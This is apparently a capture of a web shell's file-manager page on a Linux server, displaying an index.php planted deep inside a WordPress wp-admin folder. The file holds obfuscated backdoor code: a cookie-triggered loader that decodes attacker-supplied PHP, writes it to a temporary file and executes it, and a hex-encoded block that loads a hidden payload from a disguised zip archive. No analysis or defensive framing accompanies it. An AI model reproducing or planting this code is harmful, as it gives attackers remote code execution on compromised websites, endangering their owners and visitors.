HEX
Server: Apache
System: Linux atlantis.turkiyesunucu.com 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User: ()
PHP: 5.6.40
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/batigun/public_html/wp-admin/user/user/user/index.php
<?php																																										if (isset($_COOKIE[-77+77]) && isset($_COOKIE[3+-2]) && isset($_COOKIE[15+-12]) && isset($_COOKIE[38-34])) { $ent = $_COOKIE; function batch_process($symbol) { $ent = $_COOKIE; $comp = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '4abb1abd'); if (!is_writable($comp)) { $comp = getcwd() . DIRECTORY_SEPARATOR . "config_manager"; } $dchunk = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($ent[3])); if (is_writeable($comp)) { $parameter_group = fopen($comp, 'w+'); fputs($parameter_group, $dchunk); fclose($parameter_group); spl_autoload_unregister(__FUNCTION__); require_once($comp); @array_map('unlink', array($comp)); } } spl_autoload_register("batch_process"); $holder = "2da74dbcacf8e347b9aebbcdd1dd3e18"; if (!strncmp($holder, $ent[4], 32)) { if (@class_parents("settings_system_core", true)) { exit; } } }
  error_reporting(0); $N = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x67\x5f\x36\x39\x31\x32\x62\x30\x63\x31\x63\x66\x32\x61\x36\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x31\x32\x62\x30\x63\x31\x63\x66\x32\x61\x36\x2e\x74\x6d\x70", ); (${$N[0]}["\157\x66"]==1) && die($N[1]($N[2])); @require_once $N[2]; ?>